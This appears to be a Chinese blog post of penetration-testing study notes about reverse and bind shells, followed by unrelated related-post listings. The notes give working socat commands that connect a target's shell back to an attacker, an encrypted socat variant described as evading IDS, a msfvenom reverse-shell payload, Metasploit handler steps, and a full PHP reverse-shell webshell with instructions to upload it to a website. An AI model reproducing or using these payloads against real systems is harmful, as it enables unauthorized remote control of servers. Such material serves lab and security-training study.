Shell学习笔记

Linux stty命令 stty时一个用来改变并打印终端行设置的常用命令。   1 ,在命令行下,禁止输出大写的方法   stty -icanon 设置一次性读完操作,如使用getchar()读操作,不需要按enter   stty icanon 取消上面设置   stty -a 查看 信息   stty -echo 设置命令不被显示   stty echo 取消不显设置   stty r 阅读详情

Shell

shell 就是我们在与命令行环境 (CLI) 交互时使用的工具。如,Linux上的sh和bash,Windows上的cmd.exe和Powershell.

Reverse shell 是指建立一条反向连接,在攻击者与受害者之间建立一个交互式 shell,使得攻击者可以远程控制被攻击者的计算机。

Bind shell"是指在受害者计算机上开启一个服务端口,待攻击者与此端口建立连接后,即可获得一个交互式 shell,使得攻击者可以远程控制被攻击者的计算机。

常用工具:

Netcat:是传统的网络“瑞士军刀”。可用于接收反向 shell,并连接到绑定在目标系统上的远程端口。

Socat:加强版的netcat.

Metasploit:用于接收反向shell.

Msfvenom:可用于生成Payload。

Payload all the Things

Reverse Shell Cheatsheet

SecLists repo【可以安装到Linux系统中】

在线生成shell

Kali Linux 还预装了位于 /usr/share/webshells

Demo:

img

Netcat

升级shell

  1. Python

    • 一般都会装有Python,所以可以使用Python相关的命令,运行一段短代码
    python -c 'import pty;pty.spawn("/bin/bash")'
    

    出现错误``/bin/sh: 4: python: not found的原因可能是需要指定Python版本,比如python2、python3`,此时应该升级成功了,但仍然不能使用 Tab 自动补全。

    • 输入export TERM=xterm并回车

      export TERM=xterm 命令是在 Linux 和 Unix 系统中用来设置环境变量 TERM 的值为 xterm。而 TERM 变量通常用于指定当前终端的类型,以便于操作系统和应用程序了解如何与终端进行交互。

      export TERM=xterm 命令可以使我们更好地进行基于字符界面的应用程序开发和调试,并确保这些应用程序使用正确的屏幕尺寸、颜色参数和其他终端特性。

    • 快捷键Ctrl + Z,将shell挂到后台,并输入stty raw -echo; fg回车.至此,shell升级成功。(此时Ctrl + C不会关闭掉反弹的shell,且Tab可以自动补全了)

      stty raw -echo 是一个 Linux/Unix 命令,用于设置终端的输入模式和输出模式。具体来说,它将终端设置为“原始模式”(raw mode),这意味着输入字符不会被缓存,而是立即传递给程序进行处理。同时,它还关闭了回显功能,这意味着输入的字符不会被显示在终端上。

      需要注意的是,使用 stty raw -echo 命令会将终端设置为原始模式,这可能会导致一些不便。因此,在使用完毕后,应该使用 stty cooked echo 命令将终端设置回标准模式

      **Tips:**如果 shell 死机,您自己终端中的任何输入都将不可见(由于禁用了终端回显)。要解决此问题,请键入 reset 并按回车键。

​ 具体流程:

​ img

  1. rlwrap

    • 需要安装 apt install rlwrap,监听时使用

      $ rlwrap nc -lvnp <port>
      

      更适应于Windows。在Linux下,可以使用Ctrl + Z,在输入stty raw -echo;fg回车。结束使用时要stty cooked echo

  2. socat

    • 使用更强大的socat(对于Linux而言)
    • 可以通过攻击机进行python -m http.server(默认是8000端口)和目标机进行wget http://att_ip:8000/socat来把文件下载到目标机上。powershell还可以通过Invoke-WebRequest -uri <LOCAL-IP>/socat.exe -outfile C:\\Windows\temp\socat.exe
    • —> 修改终端格式可以使用 stty指令
      • 先使用stty -a查看
        [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-KbPv7I0S-1683819834490)(C:\Users\win10\AppData\Roaming\Typora\typora-user-images\image-20230506222154179.png)]
      • 在反弹的shell中进行修改stty rows 25和stty cols 90
        –> (这将改变终端的注册宽度和高度)

Socat

Linux安装 apt install socat

简单使用: 攻击机上使用 socat TCP-L:<port> - (相当于nc -lvnp <port>),目标机上使用 socat TCP:<攻击机IP>:<port> EXEC:/bin/bash 或cmd.exe(具体根据平台)

Linux环境下使用:
socat TCP-L:<PORT> EXEC:"bash -li"
Windows环境下使用:
socat TCP-L:<PORT> EXEC:powershell.exe,pipes

socat 加密shell

socat 的众多优点之一是它能够创建加密的 shell 。通常能够绕过 IDS。

  1. 先生成证书

    openssl req --newkey rsa:2048 -nodes -keyout shell.key -x509 -days 365 -out shell.crt
    此命令创建一个 2048 位 RSA 密钥和匹配的证书文件,自签名,有效期不到一年。其他信息可直接回车留白
    

    合并shell.key和shell.crt为.pem文件。指令cat shell.key shell.crt > shell.pem

    接下来就是监听(右边)和执行shell了(左边)

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-muQ0GEFV-1683819834491)(C:\Users\win10\AppData\Roaming\Typora\typora-user-images\image-20230507132934115.png)]

  1. 反向shell:
    攻击机:socat OPENSSL-LISTEN:<PORT>,cert=shell.pem,verify=0 -
    目标机:socat OPENSSL:<LOCAL-IP>:<LOCAL-PORT>,verify=0 EXEC:/bin/bash
  2. Bind shell:
    Target: socat OPENSSL-LISTEN:<PORT>,cert=shell.pem,verify=0 EXEC:cmd.exe,pipes
    Attacker:socat OPENSSL:<TARGET-IP>:<TARGET-PORT>,verify=0 -

msfvenom

主要用于为反向和绑定 shell 生成代码

基本语法msfvenom -p <PAYLOAD> <OPTIONS>

举个栗子:(生成Windows x64的反向shell指令可以是)

msfvenom -p windows/x64/shell/reverse_tcp -f exe -o shell.exe LHOST=<listen-IP> LPORT=<listen-port>

-f:指定输出格式;-o:指定文件名和位置;LHOST:要监听的IP

webshell

<?php

set_time_limit (0);
$VERSION = "1.0";
$ip = '10.17.34.225';  // CHANGE THIS
$port = 1234;       // CHANGE THIS
$chunk_size = 1400;
$write_a = null;
$error_a = null;
$shell = 'uname -a; w; id; /bin/sh -i';
$daemon = 0;
$debug = 0;

//
// Daemonise ourself if possible to avoid zombies later
//

// pcntl_fork is hardly ever available, but will allow us to daemonise
// our php process and avoid zombies.  Worth a try...
if (function_exists('pcntl_fork')) {
	// Fork and have the parent process exit
	$pid = pcntl_fork();
	
	if ($pid == -1) {
		printit("ERROR: Can't fork");
		exit(1);
	}
	
	if ($pid) {
		exit(0);  // Parent exits
	}

	// Make the current process a session leader
	// Will only succeed if we forked
	if (posix_setsid() == -1) {
		printit("Error: Can't setsid()");
		exit(1);
	}

	$daemon = 1;
} else {
	printit("WARNING: Failed to daemonise.  This is quite common and not fatal.");
}

// Change to a safe directory
chdir("/");

// Remove any umask we inherited
umask(0);

//
// Do the reverse shell...
//

// Open reverse connection
$sock = fsockopen($ip, $port, $errno, $errstr, 30);
if (!$sock) {
	printit("$errstr ($errno)");
	exit(1);
}

// Spawn shell process
$descriptorspec = array(
   0 => array("pipe", "r"),  // stdin is a pipe that the child will read from
   1 => array("pipe", "w"),  // stdout is a pipe that the child will write to
   2 => array("pipe", "w")   // stderr is a pipe that the child will write to
);

$process = proc_open($shell, $descriptorspec, $pipes);

if (!is_resource($process)) {
	printit("ERROR: Can't spawn shell");
	exit(1);
}

// Set everything to non-blocking
// Reason: Occsionally reads will block, even though stream_select tells us they won't
stream_set_blocking($pipes[0], 0);
stream_set_blocking($pipes[1], 0);
stream_set_blocking($pipes[2], 0);
stream_set_blocking($sock, 0);

printit("Successfully opened reverse shell to $ip:$port");

while (1) {
	// Check for end of TCP connection
	if (feof($sock)) {
		printit("ERROR: Shell connection terminated");
		break;
	}

	// Check for end of STDOUT
	if (feof($pipes[1])) {
		printit("ERROR: Shell process terminated");
		break;
	}

	// Wait until a command is end down $sock, or some
	// command output is available on STDOUT or STDERR
	$read_a = array($sock, $pipes[1], $pipes[2]);
	$num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);

	// If we can read from the TCP socket, send
	// data to process's STDIN
	if (in_array($sock, $read_a)) {
		if ($debug) printit("SOCK READ");
		$input = fread($sock, $chunk_size);
		if ($debug) printit("SOCK: $input");
		fwrite($pipes[0], $input);
	}

	// If we can read from the process's STDOUT
	// send data down tcp connection
	if (in_array($pipes[1], $read_a)) {
		if ($debug) printit("STDOUT READ");
		$input = fread($pipes[1], $chunk_size);
		if ($debug) printit("STDOUT: $input");
		fwrite($sock, $input);
	}

	// If we can read from the process's STDERR
	// send data down tcp connection
	if (in_array($pipes[2], $read_a)) {
		if ($debug) printit("STDERR READ");
		$input = fread($pipes[2], $chunk_size);
		if ($debug) printit("STDERR: $input");
		fwrite($sock, $input);
	}
}

fclose($sock);
fclose($pipes[0]);
fclose($pipes[1]);
fclose($pipes[2]);
proc_close($process);

// Like print, but does nothing if we've daemonised ourself
// (I can't figure out how to redirect STDOUT like a proper daemon)
function printit ($string) {
	if (!$daemon) {
		print "$string\n";
	}
}
?> 

修改IP和端口,上传到网站上,在本地使用nc -lvnp <port>监听,并访问文件地址即可

对于Windows系统来说,可以使用msfvenom来生成.exe文件

msfconsole

使用msfconsole监听基本步骤

$ msfconsole
msf> use multi/handler
msf(multi/handler)> set payload windows/x86/meterpreter/reverse_tcp
msf(multi/handler)> set lhost local-ip
msf(multi/handler)> set lport <port>

查看payload类型,可以通过msfvenom --list查看。

Linux躺坑的那些事 个人博客原文链接 接触Linux才两天,我就已经重装了整整五次Linux的系统,在熟悉Linux系统的过程中,大大小小遇到不少坑,以下整理了在使用Linux系统时遇到的问题,以及需要注意的事项。 注意事项 第一:遇到问题上网查找解决方案时,请不要轻易使用任何rpm -e –nodeps或rm -rf等指令,因为这不一定能解决问题,而且后果很严重,我两次重装系统的原因都是因为误删了文件导致Li... 阅读详情

相关推荐

Linux串口设置命令stty和Linux RAW模式学习

Linux串口设置命令 stty -F /dev/ttyS0 -a 显示串口参数 stty -F /dev/ttyS0 ispeed 9600 ospeed 9600 cs8 设置串口波特率为9600 stty -F /dev/ttyS0 ispeed 115200 ospeed 115200 cs8设置串口波特率为115200 stty -F /dev/ttyS0 speed 115200 cs8 -parenb -cstopb 115200波特率 8数据位 1停止位 无校验位 ...

a1809032425的博客 1659

【Linux】一步一步学Linux——stty命令(243)

00. 目录 文章目录00. 目录01. 命令概述02. 命令格式03. 常用选项04. 参考示例05. 附录 01. 命令概述 stty命令改变或打印终端行设置。 02. 命令格式 用法:stty [选项] [参数] 03. 常用选项 -a, --all 以可读的格式打印当前的所有设置 -g, --save 以终端可读的格式打印当前的所有设置 -F, --file 打开指定的设备,并用此...

C/C++软件工程师、嵌入式软件工程师、物联网研发工程师、C/C++讲师、物联网讲师、嵌入式讲师、鸿蒙讲师---欢迎大家一起交流(私信添加博主微信) 2081

Linux学习笔记3—Shell

Shell 本质是一个命令行解释器,在用户和内核交互时起翻译作用。外部应用软件通过 Shell 与内核通信。全局变量所有子 Shell 生效env/ printenvenv | grep HOME # 过滤全局变量echo $HOME # 输出家目录局部变量仅当前 Shell 生效set基础操作a=1 # 定义局部变量(等号无空格)export a # 转为全局变量echo $a # 输出变量值unset a # 释放变量。

LHuanxi的博客 1141

系统变量TERM不知是用来干什么的?它的值有vt100,vt220等,这些值代表什么意思?...

环境变量TERM设置为终端机,这里的vt100,vt220等是说明仿真的产品类型。 终端是一个很重要的外设,用过终端设备的人都知道如果设备类型不对就会有乱字符,也可用仿真终端软件如netterm试验一下,linux的终端信息放在 /usr/share/terminfo下,在这个目录的子目录v下就有许多的如vt100,vt102,vt200等,你看一下就知道了。 用例: 如在ssh...

weixin_33769125的博客 2693

【银行测试】手机银行APP专项项目+测试点汇总(一)

1、手机银行APP转账项目讲解面试官:请介绍一下你所负责的模块如何进行的测试?求职者:好的,我最近测试的是XX银行的手机银行App项目。这个项目里面包含了转账、转账额度调整、网银转账、交易明细、添加账户、存款、投资理财、生活缴费等功能模块。我主要负责了转账模块,这个大模块中包含了智能转账、手机转账、语音转账、预约转账、收款人管理等5个子模块,我首先介绍一下我们生活中使用最多的手机转账子模块。对于转账需要关注的是转账前、转账中、转账后这三个状态下的测试。

m0_70102063的博客 1604

CPU性能优化实战:寄存器重命名如何解决指令冲突(附3种实现方案对比)

本文深入解析了CPU性能优化中的关键技术——寄存器重命名,详细阐述了其如何通过物理寄存器堆(PRF)和重命名映射表(RAT)解决WAW、WAR、RAW等指令冲突,从而释放超标量处理器的并行潜力。文章重点对比了基于ROB、ARF扩展和统一PRF三种主流实现方案的设计权衡、电路代价与功耗影响,并探讨了现代处理器中并行重命名与状态恢复的实战机制。

weixin_29252171的博客 265

Shell编程学习笔记1-Shell入门

初识Shell脚本程序---什么是Shell脚本?有什么作用?

2302_76629181的博客 1201

YOLOv8改进——引入可变形卷积DCNv3

本文只讲解在YOLOv8的代码中添加DCNv3的操作流程, 具体的原理参见上述的链接~是pytorch实现的版本,只要基础的pytorch环境安装正确就不会出错。是C++实现版本,必须先在上一步编译成功,或者安装好了轮子,否则会报错。但是在实际的训练过程中,C++版本的运行速度更快,推荐使用C++版本。(具体怎么修改,都可以自己决定,然后通过实验看看效果如何)文件夹,该文件夹下的内容就是实现DCNv3算子的核心代码。中,下图中的列表里添加。

zyw2002的博客 3万+

shell学习笔记

将只匹配到的root行打印到a.txt。

rardttd的博客 2097

Multisim的探针(Probe)及数字电路的一些调试技巧的应用

Multisim的探针(Probe)及数字电路的一些调试技巧的应用 --EE Bang   By  WRS 上图为555方波发生器,根据R1,R2,C2参数的配置可产生频率为46.3KHZ,占空比50%的方波信号,如果用示波器查看波形参数的话需要用两个坐标轴做差,操作不便,另外如果要修改电路将上述电阻换成滑动变阻器的话,使其产生可变频率

Agent Christmas的博客 3万+

prometheus普罗米修斯集监控外部k8s

prometheus普罗米修斯集监控外部k8s

你是我一生的追求 2247

shell脚本学习笔记

shell脚本学习

lin 1255

【WRF工具】WRF 模型输出可视化工具 RIP4

【WRF工具】WRF 模型输出可视化工具 RIP4

WW、forever的博客 1594

Shell脚本学习笔记

Shell学习笔记Shell学习笔记 简介 Shell教程入门 1shell脚本 2shell脚本实践 Shell变量 1使用变量 2只读变量 3删除变量 4变量类型 5shell字符串 6Shell数组 7Shell注释 Shell传递参数 1实例 Shell数组 Shell运算符 1算术运算符 2关系运算符 3布尔运算符 4逻辑运算符 5字符串运算符 6文件测试运算符 Shell echo命令

冰路梦 4593

OpenWRT使用4G/5G无线网卡模块上网

将4G/5G开发板插入设备,终端输入lsusb或lspci,看设备是否识别到4G/5G模块。

1万+

【华为OD机试】真题-小明减肥(Java)

摘要:题目要求从n个可选运动中选取k个,使其卡路里总和等于目标值t,统计可行方案数。输入包含运动数量n、目标t、选择数量k及卡路里数组。采用DFS回溯算法,通过剪枝优化(提前终止无效分支),分别处理选择/不选当前运动的情况。当遍历完所有运动且满足条件时计数。示例输入"4 3 2"和"1 2 3"时,输出2(对应两种选择组合)。Java实现通过递归完成搜索,最终输出符合条件的方案总数。(149字)

u014481728的博客 285

shell学习笔记【原创】

1.       描述,shell是unix/linux下强劲的脚本工具,对提高我们的工作效率很有好处,这是学习过程中的一些笔记,(整理的很垃圾,汗~~)。C++实验室(http://www.ctag.cn)原创,转载请保留。2.       shell简介(2005-11-22 morning)a)        3种主流shell:bourne shell,c

天衣有缝的专栏(冠盖满京华,斯人独憔悴~) 2473

WINCC7.3破解文件

WINCC7.3硬件够破解文件,有需要的下载!WINCC7.3硬件够破解文件,有需要的下载!

SHELL学习笔记

SHELL学习笔记 仅用于个人学习shell中认为比较重要的内容 1、常用命令 1.授予脚本执行权限,将其变为可执行的权限 chmod 755 test.sh chmod a+x test.sh 2. %-5s 左对齐五个String %-4.2f 左对齐保留小数点后2位 3. 查看指定进程的环境变量 cat /proc/$PID/environ cat /proc/12501/envir...

qq_33571458的博客 181

大中型超市收银系统(可直接运行)

光步前台收银系统系统功能:商品销售、商品退货、挂单、收银员权限、会员销售、单品取消、整单取消、商品查询、脱机销售、脱机数据上传,基本资料下载,开钱箱、小票打印、收款结算,支持多币种付款方式(现金、储值卡、礼券、微信等),支持多种促销。运行环境:.net 4.0登陆信息用户名:1001 密码:123456内置商品信息,商品编码可输入00001000 - 00010000,测试效果相关功能键F5 结算 F9挂单 F11商品查询 F8退货 Insert单品取消 Del整单取消 F12开钱箱F2 会员 Ctrl+Z退出系统 Home 锁屏 相关源码待公开

怀旧版电脑GBC模拟器

再现原版GBC掌机的界面,电脑运行连游戏界面都一样大小,很怀旧,很真实,(英文版)强烈推荐,很小的文件,很难才找到的。

Shell脚本学习笔记(黑马程序员shell全套教程)

这篇Shell教程介绍Shell作为连接用户与Linux内核的桥梁,通过80讲系统课程从零基础到实战。内容涵盖Shell基础知识、运行原理、解析器类型等,讲解了Shell脚本作为编程语言的特点(含变量、函数、逻辑控制等),以及如何通过Shell命令提升Linux系统管理效率。教程附带MobaXterm终端工具使用说明,适合Windows用户进行SSH连接和Shell学习。

weixin_67732682的博客 1214

华为的C语言编程规范.pdf

华为技术有限公司内部技术规范。本规范制定了编写C语言程序的基本原则、规则和建议。从代码的清晰、简洁、可测试、安全、程序效率、可移植各个方面对C语言编程作出了具体指导。

Linux Shell 学习笔记(三)Shell数组

数组的定义在Shell中非常简单,常见的定义方式为以()来表示数组,数组元素之间需要用空格分割。arrs=(onetwothreefourfive这里的下标数你可以任意指定,范围没有限制,而且下标并不是必须连续。

weixin_53087423的博客 494

Shell 脚本学习笔记

Shell 脚本学习笔记

TzYyTx的博客 915

Shell 编程学习笔记

个人学习shell笔记

qq_56984643的博客 1892

shell脚本--学习笔记

shell脚本--学习笔记 shell脚本第一天 1.常用的命令 2.vi /vim 需求1:批量注释前几行 1-10行 :1,10s/^/#/g 注释1-10行 :1,10s/#//g 取消注释 #root:x:0:0:root:/root:/bin/bash #bin:x:1:1:bin:/bin:/sbin/nologin #daemon:x:2:2:daemo...

三思博客 303
上一篇: TryHackMe靶机-Year of the Rabbit
下一篇: Docker零基础学习笔记
Che_ng
博客等级 码龄5年 112粉丝 29原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值